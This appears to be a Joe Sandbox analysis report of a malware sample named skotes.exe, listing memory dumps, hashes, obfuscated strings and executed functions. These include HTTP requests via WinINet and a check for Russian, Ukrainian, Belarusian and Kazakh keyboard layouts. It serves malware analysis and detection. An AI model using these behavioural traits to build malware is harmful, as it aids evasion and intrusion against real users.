Associated: 00000002.00000002.1755739076.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755765591.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755792758.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755840673.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755861047.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755889894.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755907151.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755931575.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755950655.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755966139.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1755986614.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756004287.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756021452.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756043120.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756058423.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756072999.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756087074.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756104093.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756121466.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756137947.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756154534.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756172322.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756190023.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756205592.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756220484.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756238338.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756254012.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756276410.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756291352.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756335498.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756351675.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756366936.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756382308.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756400469.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.1756415306.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock
String ID:
API String ID: 1418687624-0
Opcode ID: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction ID: 2006138df6e24091bb2f55e6794a36c4ba104da9d5fedeff528f2c740bbb32e6
Opcode Fuzzy Hash: 48b3e7714bd372a9a58930d89a43260c0250f4430f44762c41142b4c22ea0cab
Instruction Fuzzy Hash: C1A1D171A012059FEF21DF64C945BAAB7F8FF16324F048269F815D7282EB35EA14CB91

Analysis Process: skotes.exePID: 7660, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	5.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	783
Total number of Limit Nodes:	41

Executed Functions

Function 00AAE530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MGE+, xrefs: 00AAE821
9c9aa5, xrefs: 00AAFB8E
WTs=, xrefs: 00AB05CA
111, xrefs: 00AAF7A0
WTw=, xrefs: 00AB097D
#, xrefs: 00AB0624
WDw=, xrefs: 00AAF71D, 00AAF9FA
UA==, xrefs: 00AAEB0F, 00AAED56
246122658369, xrefs: 00AAF737, 00AAFA14, 00AB05E7, 00AB099A
GnNoc2Hc, xrefs: 00AAE56C
MQ==, xrefs: 00AAE592

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 7851a2c79dd94b6b83223d69a599887750650911dc219b0c3131d58ac2a75b5a
Instruction ID: 5fd6de1065083e3251b193c09db00a474e1c32a9e02ca3755a940882ff290be0
Opcode Fuzzy Hash: 7851a2c79dd94b6b83223d69a599887750650911dc219b0c3131d58ac2a75b5a
Instruction Fuzzy Hash: FE82D570904288DFEF14EF68CA597DE7FB5AB46304F508588E805273C2D7799A88CBD2

Function 00AAEB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 00AAEB51
CreateDirectoryA.KERNEL32(00000000), ref: 00AAEC83
GetFileAttributesA.KERNEL32(00000000), ref: 00AAED98

Strings

9c9aa5, xrefs: 00AAFB8E
WTs=, xrefs: 00AB05CA
111, xrefs: 00AAF7A0
GiQaT29tduF=, xrefs: 00AAFEB6
mxo1L0x, xrefs: 00AAEE84
246122658369, xrefs: 00AAF737, 00AAFA14, 00AAFE00, 00AB05E7
FisgLnsCZO1i, xrefs: 00AAFF19
#, xrefs: 00AB0624
FCQgKF==, xrefs: 00AAFEE4
WDw=, xrefs: 00AAF71D, 00AAF9FA, 00AAFDE3
UA==, xrefs: 00AAEC41, 00AAED56, 00AAEF89, 00AAF2CE
stoi argument out of range, xrefs: 00AB08C4
invalid stoi argument, xrefs: 00AB08B0

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: ebc88823ff6086cd67f579272b48c159793388ff6a6ab1dab7e057c835fc76f5
Instruction ID: f6307828c279c15cccd82102fa939fa4b98d3dbd98889c602df524b25fb73185
Opcode Fuzzy Hash: ebc88823ff6086cd67f579272b48c159793388ff6a6ab1dab7e057c835fc76f5
Instruction Fuzzy Hash: 9CF24A71A101449FEB1CDB78CE89BDDBB76AF82304F108298E449A73D7DB359A84CB51

Function 00AABE30 Relevance: 19.6, APIs: 6, Strings: 5, Instructions: 313
networksleepfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,61AD01A7,?,00000000), ref: 00AABEB8
InternetOpenW.WININET(00AF8DC8,00000000,00000000,00000000,00000000), ref: 00AABEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 00AABEEB
HttpOpenRequestA.WININET(?,00000000), ref: 00AABF35
HttpSendRequestA.WININET(?,00000000), ref: 00AABFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 00AAC0A7
InternetCloseHandle.WININET(?), ref: 00AAC187
InternetCloseHandle.WININET(?), ref: 00AAC18F
InternetCloseHandle.WININET(?), ref: 00AAC197

Strings

stoi argument out of range, xrefs: 00AAE4EA
8HJUeMD Lq5=, xrefs: 00AAC465
RE1NXF==, xrefs: 00AABF0E
8HJUeIfzLo==, xrefs: 00AAC3CB, 00AAC623
invalid stoi argument, xrefs: 00AAE4F4

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: ffd2e875e533ee84bfd6c86275efd094aa530ec2cba9dff00dd3b6497fb456a8
Instruction ID: 12b5bb3200a49ad4ffe62e760aad033fd072eabe3662608d250c738a7ea09cb5
Opcode Fuzzy Hash: ffd2e875e533ee84bfd6c86275efd094aa530ec2cba9dff00dd3b6497fb456a8
Instruction Fuzzy Hash: 9BB1F4B1A101189BEF28DF28CD84BEDBB79EF42314F5041A9F509972D2DB719AC4CB94

Function 00AA7D30 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AA7ED3

Strings

JjssPV==, xrefs: 00AA81E2
hf, xrefs: 00AA7DBD
JjssOl==, xrefs: 00AA813A
JjsrPl==, xrefs: 00AA828A
JjsrQV==, xrefs: 00AA8092
pNh, xrefs: 00AA7F75, 00AA805A, 00AA8102, 00AA81AA, 00AA8252

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918781754.0000000000B0B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918905078.0000000000B17000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919668580.0000000000C6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919864554.0000000000C6D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C86000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2919997888.0000000000C93000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920217132.0000000000C96000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920342171.0000000000C9D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920541363.0000000000CAE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920704707.0000000000CAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2920838352.0000000000CC1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921066699.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921230726.0000000000CC5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921568726.0000000000CD7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921790614.0000000000CEC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2921963784.0000000000CF0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922215422.0000000000CFE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2922673396.0000000000D05000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923028432.0000000000D06000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2923406574.0000000000D08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924218896.0000000000D0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924617491.0000000000D10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2924838611.0000000000D1D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925034458.0000000000D1E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925363220.0000000000D1F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2925708484.0000000000D26000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926049228.0000000000D28000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926438920.0000000000D2E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926662982.0000000000D2F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2926853097.0000000000D30000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2927583632.0000000000D41000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D43000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2928697071.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929285214.0000000000D9A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929629596.0000000000D9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2929809812.0000000000D9E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930137301.0000000000DA0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930349428.0000000000DAF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2930501873.0000000000DB0000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_aa0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==$hf$pNh
API String ID: 1721193555-1973232016
Opcode ID: cedd7c04c303725de037a821ba3a30893bb861f3f7067f2794623d3774bfe2ac
Instruction ID: fe6b13027362568be8b69a6f0c4ab21e822592cbdda9e509deb94aa5fc68fc38
Opcode Fuzzy Hash: cedd7c04c303725de037a821ba3a30893bb861f3f7067f2794623d3774bfe2ac
Instruction Fuzzy Hash: 4CE1E670E00644ABDB24BB38CD5B3AE7B71AB42720F94429CE4156B3D2DF754E858BD2

Function 00AA6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00AA617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00AA6271

Strings

00000419, xrefs: 00AA6098
00000423, xrefs: 00AA60FA
00000422, xrefs: 00AA60C9
0000043f, xrefs: 00AA612B
Keyboard Layout\Preload, xrefs: 00AA6054

Memory Dump Source

Source File: 00000006.00000002.2918299044.0000000000AA1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AA0000, based on PE: true

Associated: 00000006.00000002.2918155049.0000000000AA0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918299044.0000000000B02000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2918657333.0000000000B09000.00000008.00000001.01000000.00000007.sdmpDownload File
